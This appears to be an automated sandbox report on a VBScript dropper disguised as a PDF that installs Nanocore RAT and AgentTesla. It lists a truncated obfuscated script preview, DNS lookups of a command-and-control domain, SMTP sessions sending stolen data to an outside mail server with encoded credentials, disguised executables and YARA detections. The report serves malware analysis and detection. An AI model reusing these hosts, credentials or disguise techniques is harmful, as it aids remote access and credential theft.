SSDEEP: 12288:0UL1Nfz4Y0BgIVv1Mt/MMNLDT/DrEiv9ByYU2jB
0liBsrvr21H6wonm7c4W1VVhj:zv8Dv1MuMp/JBH+l8srv
ria57rV0FwP7

File Content Preview: on error resume next..Dim SNgEqCPQQbWMHuXZTLR
ZLRJqDDkJhViPxZWqJgtrDhThqknktVsdPIFBDqBnSFj
vtGPhXgQmRaVdxbzTPAPMcFApTVmSfFZyyYojVGM
MFGLomcEbqiYRpXSnGZOCuxGMBXfYnPxJoCGWuL
CrRLbxhHIaFAcvrJSHAznPwfobkOdmQwtvXWkjWIetO
ESmmCRekzWvXnvlXANS..'dVKJGhXUYjlrUtArNBoixz

File Icon

Icon Hash: e8d69ece869a9ec4

Network Port Distribution

Network Behavior

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Sep 15, 2021 10:50:19.138469934 CEST 192.168.2.6 8.8.8.8 0xbe37 Standard query 
(0)

sys2021.li
nkpc.net

A (IP address) IN (0x0001)

Sep 15, 2021 10:50:41.153657913 CEST 192.168.2.6 8.8.8.8 0x89ea Standard query 
(0)

sys2021.li
nkpc.net

A (IP address) IN (0x0001)

Sep 15, 2021 10:51:01.399852991 CEST 192.168.2.6 8.8.8.8 0xb4d8 Standard query 
(0)

sys2021.li
nkpc.net

A (IP address) IN (0x0001)

Sep 15, 2021 10:52:19.785521984 CEST 192.168.2.6 8.8.8.8 0x4f09 Standard query 
(0)

sys2021.li
nkpc.net

A (IP address) IN (0x0001)

Sep 15, 2021 10:52:21.006614923 CEST 192.168.2.6 8.8.8.8 0x1099 Standard query 
(0)

mail.quant
urnvia.com

A (IP address) IN (0x0001)

Sep 15, 2021 10:52:22.325558901 CEST 192.168.2.6 8.8.8.8 0xb403 Standard query 
(0)

mail.quant
urnvia.com

A (IP address) IN (0x0001)

Sep 15, 2021 10:52:37.239762068 CEST 192.168.2.6 8.8.8.8 0x8e11 Standard query 
(0)

sys2021.li
nkpc.net

A (IP address) IN (0x0001)

Sep 15, 2021 10:52:54.328156948 CEST 192.168.2.6 8.8.8.8 0x3f29 Standard query 
(0)

sys2021.li
nkpc.net

A (IP address) IN (0x0001)

Sep 15, 2021 10:54:04.651829958 CEST 192.168.2.6 8.8.8.8 0x5bd1 Standard query 
(0)

sys2021.li
nkpc.net

A (IP address) IN (0x0001)

TCP Packets

UDP Packets

DNS Queries
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Sep 15, 2021 10:54:21.328382015 CEST 192.168.2.6 8.8.8.8 0x31f5 Standard query 
(0)

sys2021.li
nkpc.net

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Sep 15, 2021 
10:50:19.287982941 
CEST

8.8.8.8 192.168.2.6 0xbe37 No error (0) sys2021.li
nkpc.net

105.112.53.223 A (IP address) IN (0x0001)

Sep 15, 2021 
10:50:41.291009903 
CEST

8.8.8.8 192.168.2.6 0x89ea No error (0) sys2021.li
nkpc.net

105.112.53.223 A (IP address) IN (0x0001)

Sep 15, 2021 
10:51:01.550944090 
CEST

8.8.8.8 192.168.2.6 0xb4d8 No error (0) sys2021.li
nkpc.net

105.112.53.223 A (IP address) IN (0x0001)

Sep 15, 2021 
10:52:19.815593004 
CEST

8.8.8.8 192.168.2.6 0x4f09 No error (0) sys2021.li
nkpc.net

105.112.53.223 A (IP address) IN (0x0001)

Sep 15, 2021 
10:52:21.049338102 
CEST

8.8.8.8 192.168.2.6 0x1099 No error (0) mail.quant
urnvia.com

5.149.255.77 A (IP address) IN (0x0001)

Sep 15, 2021 
10:52:22.374388933 
CEST

8.8.8.8 192.168.2.6 0xb403 No error (0) mail.quant
urnvia.com

5.149.255.77 A (IP address) IN (0x0001)

Sep 15, 2021 
10:52:37.384242058 
CEST

8.8.8.8 192.168.2.6 0x8e11 No error (0) sys2021.li
nkpc.net

105.112.53.223 A (IP address) IN (0x0001)

Sep 15, 2021 
10:52:54.457591057 
CEST

8.8.8.8 192.168.2.6 0x3f29 No error (0) sys2021.li
nkpc.net

105.112.53.223 A (IP address) IN (0x0001)

Sep 15, 2021 
10:54:04.781595945 
CEST

8.8.8.8 192.168.2.6 0x5bd1 No error (0) sys2021.li
nkpc.net

105.112.53.223 A (IP address) IN (0x0001)

Sep 15, 2021 
10:54:21.357949972 
CEST

8.8.8.8 192.168.2.6 0x31f5 No error (0) sys2021.li
nkpc.net

105.112.53.223 A (IP address) IN (0x0001)

Timestamp
Source
Port

Dest
Port Source IP Dest IP Commands

Sep 15, 2021 10:52:21.256990910 CEST 587 49829 5.149.255.77 192.168.2.6 220 mail.quanturnvia.com ESMTP Exim 4.92.3 Wed, 15 Sep 2021 
08:52:21 +0000

Sep 15, 2021 10:52:21.257353067 CEST 49829 587 192.168.2.6 5.149.255.77 EHLO 760639

Sep 15, 2021 10:52:21.286353111 CEST 587 49829 5.149.255.77 192.168.2.6 250-mail.quanturnvia.com Hello 760639 [84.17.52.51]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-AUTH PLAIN LOGIN
250-CHUNKING
250-STARTTLS
250 HELP

Sep 15, 2021 10:52:21.286890030 CEST 49829 587 192.168.2.6 5.149.255.77 AUTH login aW5mb0BxdWFudHVybnZpYS5jb20=

Sep 15, 2021 10:52:21.314744949 CEST 587 49829 5.149.255.77 192.168.2.6 334 UGFzc3dvcmQ6

Sep 15, 2021 10:52:21.343508005 CEST 587 49829 5.149.255.77 192.168.2.6 235 Authentication succeeded

Sep 15, 2021 10:52:21.343986034 CEST 49829 587 192.168.2.6 5.149.255.77 MAIL FROM:<info@quanturnvia.com>

Sep 15, 2021 10:52:21.370634079 CEST 587 49829 5.149.255.77 192.168.2.6 250 OK

Sep 15, 2021 10:52:21.370991945 CEST 49829 587 192.168.2.6 5.149.255.77 RCPT TO:<info@quanturnvia.com>

Sep 15, 2021 10:52:21.397991896 CEST 587 49829 5.149.255.77 192.168.2.6 250 Accepted

Sep 15, 2021 10:52:21.401993036 CEST 49829 587 192.168.2.6 5.149.255.77 DATA

Sep 15, 2021 10:52:21.428678989 CEST 587 49829 5.149.255.77 192.168.2.6 354 Enter message, ending with "." on a line by itself

Sep 15, 2021 10:52:21.432975054 CEST 49829 587 192.168.2.6 5.149.255.77 .

Sep 15, 2021 10:52:21.465493917 CEST 587 49829 5.149.255.77 192.168.2.6 250 OK id=1mQQeT-0002Hl-DE

Sep 15, 2021 10:52:22.469660044 CEST 587 49830 5.149.255.77 192.168.2.6 220 mail.quanturnvia.com ESMTP Exim 4.92.3 Wed, 15 Sep 2021 
08:52:22 +0000

Sep 15, 2021 10:52:22.469952106 CEST 49830 587 192.168.2.6 5.149.255.77 EHLO 760639

Sep 15, 2021 10:52:22.498035908 CEST 587 49830 5.149.255.77 192.168.2.6 250-mail.quanturnvia.com Hello 760639 [84.17.52.51]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-AUTH PLAIN LOGIN
250-CHUNKING
250-STARTTLS
250 HELP

Sep 15, 2021 10:52:22.498641014 CEST 49830 587 192.168.2.6 5.149.255.77 AUTH login aW5mb0BxdWFudHVybnZpYS5jb20=

DNS Answers

SMTP Packets
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Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Sep 15, 2021 10:52:22.526045084 CEST 587 49830 5.149.255.77 192.168.2.6 334 UGFzc3dvcmQ6

Sep 15, 2021 10:52:22.554003000 CEST 587 49830 5.149.255.77 192.168.2.6 235 Authentication succeeded

Sep 15, 2021 10:52:22.554395914 CEST 49830 587 192.168.2.6 5.149.255.77 MAIL FROM:<info@quanturnvia.com>

Sep 15, 2021 10:52:22.581418037 CEST 587 49830 5.149.255.77 192.168.2.6 250 OK

Sep 15, 2021 10:52:22.581680059 CEST 49830 587 192.168.2.6 5.149.255.77 RCPT TO:<info@quanturnvia.com>

Sep 15, 2021 10:52:22.609419107 CEST 587 49830 5.149.255.77 192.168.2.6 250 Accepted

Sep 15, 2021 10:52:22.609725952 CEST 49830 587 192.168.2.6 5.149.255.77 DATA

Sep 15, 2021 10:52:22.636557102 CEST 587 49830 5.149.255.77 192.168.2.6 354 Enter message, ending with "." on a line by itself

Sep 15, 2021 10:52:22.638268948 CEST 49830 587 192.168.2.6 5.149.255.77 .

Sep 15, 2021 10:52:22.683985949 CEST 587 49830 5.149.255.77 192.168.2.6 250 OK id=1mQQeU-0002Hq-Jw

Timestamp
Source
Port

Dest
Port Source IP Dest IP Commands

Start time: 10:50:08

Start date: 15/09/2021

Path: C:\Windows\System32\wscript.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\09142021_PDF.vbs'

Imagebase: 0x7ff7cfa80000

File size: 163840 bytes

MD5 hash: 9A68ADD12EB50DDE7586782C3EB9FF9C

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: wscript.exe PID: 7012 Parent PID: 3440Analysis Process: wscript.exe PID: 7012 Parent PID: 3440

General
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File ActivitiesFile Activities

Yara matches: Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 
00000001.00000003.352029800.000002756BE19000.00000004.00000001.sdmp, Author: 
Florian Roth
Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 
00000001.00000003.352029800.000002756BE19000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: NanoCore, Description: unknown, Source: 
00000001.00000003.352029800.000002756BE19000.00000004.00000001.sdmp, Author:  
Kevin Breen <kevin@techanarchy.net>
Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 
00000001.00000002.360916196.000002756CA40000.00000004.00000001.sdmp, Author: 
Florian Roth
Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 
00000001.00000002.360916196.000002756CA40000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: NanoCore, Description: unknown, Source: 
00000001.00000002.360916196.000002756CA40000.00000004.00000001.sdmp, Author:  
Kevin Breen <kevin@techanarchy.net>
Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 
00000001.00000003.351755108.000002756BDE6000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 
00000001.00000003.351755108.000002756BDE6000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: NanoCore, Description: unknown, Source: 
00000001.00000003.351755108.000002756BDE6000.00000004.00000001.sdmp, 
Author:  Kevin Breen <kevin@techanarchy.net>
Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 
00000001.00000002.360678491.000002756C00A000.00000004.00000001.sdmp, Author: 
Florian Roth
Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 
00000001.00000002.360678491.000002756C00A000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: NanoCore, Description: unknown, Source: 
00000001.00000002.360678491.000002756C00A000.00000004.00000001.sdmp, Author:  
Kevin Breen <kevin@techanarchy.net>

Reputation: high

Show Windows behavior

File ActivitiesFile Activities

Start time: 10:50:14

Start date: 15/09/2021

Path: C:\Users\user\AppData\Local\Temp\Notepad.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\AppData\Local\Temp\Notepad.exe' 

Imagebase: 0x3b0000

File size: 838144 bytes

MD5 hash: 033B15C82C1F08143DA87E0F4D1AD9BC

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 
00000004.00000002.412408433.0000000003B21000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 
00000004.00000002.412408433.0000000003B21000.00000004.00000001.sdmp, Author: 
Joe Security

Antivirus matches: Detection: 100%, Joe Sandbox ML

Reputation: low

Show Windows behavior

Analysis Process: Notepad.exe PID: 3664 Parent PID: 7012Analysis Process: Notepad.exe PID: 3664 Parent PID: 7012

General

File CreatedFile Created

File WrittenFile Written

File ReadFile Read
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File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 10:50:14

Start date: 15/09/2021

Path: C:\Users\user\AppData\Local\Temp\Chrome.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\AppData\Local\Temp\Chrome.exe' 

Imagebase: 0x1e0000

File size: 207360 bytes

MD5 hash: A9C24A18FBD231939EB608A7A2087A49

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 
00000005.00000000.358180679.00000000001E2000.00000002.00020000.sdmp, Author: 
Florian Roth
Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 
00000005.00000000.358180679.00000000001E2000.00000002.00020000.sdmp, Author: 
Joe Security
Rule: NanoCore, Description: unknown, Source: 
00000005.00000000.358180679.00000000001E2000.00000002.00020000.sdmp, Author:  
Kevin Breen <kevin@techanarchy.net>
Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 
C:\Users\user\AppData\Local\Temp\Chrome.exe, Author: Florian Roth
Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source: 
C:\Users\user\AppData\Local\Temp\Chrome.exe, Author: Florian Roth
Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 
C:\Users\user\AppData\Local\Temp\Chrome.exe, Author: Joe Security
Rule: NanoCore, Description: unknown, Source: 
C:\Users\user\AppData\Local\Temp\Chrome.exe, Author:  Kevin Breen 
<kevin@techanarchy.net>

Antivirus matches: Detection: 100%, Avira
Detection: 100%, Joe Sandbox ML
Detection: 86%, Metadefender, Browse
Detection: 100%, ReversingLabs

Reputation: low

Show Windows behavior

Show Windows behavior

Start time: 10:50:28

Start date: 15/09/2021

Path: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe

Wow64 process (32bit): true

Commandline: 'C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe' 

Imagebase: 0xa0000

File size: 207360 bytes

MD5 hash: A9C24A18FBD231939EB608A7A2087A49

Has elevated privileges: true

Has administrator privileges: true

Analysis Process: Chrome.exe PID: 5276 Parent PID: 7012Analysis Process: Chrome.exe PID: 5276 Parent PID: 7012

General

File CreatedFile Created

File WrittenFile Written

File ReadFile Read

Key Value CreatedKey Value Created

Analysis Process: dhcpmon.exe PID: 6560 Parent PID: 3440Analysis Process: dhcpmon.exe PID: 6560 Parent PID: 3440

General
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File ActivitiesFile Activities

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 
00000007.00000002.401485938.0000000002931000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: NanoCore, Description: unknown, Source: 
00000007.00000002.401485938.0000000002931000.00000004.00000001.sdmp, Author:  
Kevin Breen <kevin@techanarchy.net>
Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 
00000007.00000002.400865060.00000000000A2000.00000002.00020000.sdmp, Author: 
Florian Roth
Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 
00000007.00000002.400865060.00000000000A2000.00000002.00020000.sdmp, Author: 
Joe Security
Rule: NanoCore, Description: unknown, Source: 
00000007.00000002.400865060.00000000000A2000.00000002.00020000.sdmp, Author:  
Kevin Breen <kevin@techanarchy.net>
Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 
00000007.00000000.386929462.00000000000A2000.00000002.00020000.sdmp, Author: 
Florian Roth
Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 
00000007.00000000.386929462.00000000000A2000.00000002.00020000.sdmp, Author: 
Joe Security
Rule: NanoCore, Description: unknown, Source: 
00000007.00000000.386929462.00000000000A2000.00000002.00020000.sdmp, Author:  
Kevin Breen <kevin@techanarchy.net>
Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 
00000007.00000002.401516583.0000000003931000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: NanoCore, Description: unknown, Source: 
00000007.00000002.401516583.0000000003931000.00000004.00000001.sdmp, Author:  
Kevin Breen <kevin@techanarchy.net>
Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 
C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe, Author: Florian Roth
Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source: C:\Program 
Files (x86)\DHCP Monitor\dhcpmon.exe, Author: Florian Roth
Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 
C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe, Author: Joe Security
Rule: NanoCore, Description: unknown, Source: C:\Program Files (x86)\DHCP 
Monitor\dhcpmon.exe, Author:  Kevin Breen <kevin@techanarchy.net>

Antivirus matches: Detection: 100%, Avira
Detection: 100%, Joe Sandbox ML
Detection: 86%, Metadefender, Browse
Detection: 100%, ReversingLabs

Reputation: low

Show Windows behavior

Start time: 10:50:38

Start date: 15/09/2021

Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

Wow64 process (32bit): true

Commandline: {path}

Imagebase: 0xa30000

File size: 69632 bytes

MD5 hash: 88BBB7610152B48C2B3879473B17857E

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

File CreatedFile Created

File WrittenFile Written

File ReadFile Read

Analysis Process: MSBuild.exe PID: 5480 Parent PID: 3664Analysis Process: MSBuild.exe PID: 5480 Parent PID: 3664

General
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File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Yara matches: Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 
0000000A.00000002.866866320.0000000000402000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 
0000000A.00000002.866866320.0000000000402000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 
0000000A.00000002.869632745.0000000003151000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, 
Source: 
0000000A.00000002.869632745.0000000003151000.00000004.00000001.sdmp, Author: 
Joe Security

Reputation: moderate

Show Windows behavior

Show Windows behavior

File ActivitiesFile Activities

Start time: 10:51:12

Start date: 15/09/2021

Path: C:\Users\user\AppData\Roaming\hmltog\hmltog.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\AppData\Roaming\hmltog\hmltog.exe' 

Imagebase: 0xc40000

File size: 69632 bytes

MD5 hash: 88BBB7610152B48C2B3879473B17857E

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Antivirus matches: Detection: 0%, Metadefender, Browse
Detection: 0%, ReversingLabs

Reputation: moderate

Show Windows behavior

Start time: 10:51:13

File CreatedFile Created

File DeletedFile Deleted

File WrittenFile Written

File ReadFile Read

Key Value CreatedKey Value Created

Analysis Process: hmltog.exe PID: 4328 Parent PID: 3440Analysis Process: hmltog.exe PID: 4328 Parent PID: 3440

General

File CreatedFile Created

File WrittenFile Written

File ReadFile Read

Analysis Process: conhost.exe PID: 6140 Parent PID: 4328Analysis Process: conhost.exe PID: 6140 Parent PID: 4328

General
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Disassembly

Code Analysis

Start date: 15/09/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff61de10000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File ActivitiesFile Activities

Start time: 10:51:20

Start date: 15/09/2021

Path: C:\Users\user\AppData\Roaming\hmltog\hmltog.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\AppData\Roaming\hmltog\hmltog.exe' 

Imagebase: 0xa50000

File size: 69632 bytes

MD5 hash: 88BBB7610152B48C2B3879473B17857E

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Reputation: moderate

Show Windows behavior

Start time: 10:51:22

Start date: 15/09/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff61de10000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: hmltog.exe PID: 3728 Parent PID: 3440Analysis Process: hmltog.exe PID: 3728 Parent PID: 3440

General

File CreatedFile Created

File WrittenFile Written

File ReadFile Read

Analysis Process: conhost.exe PID: 2088 Parent PID: 3728Analysis Process: conhost.exe PID: 2088 Parent PID: 3728

General
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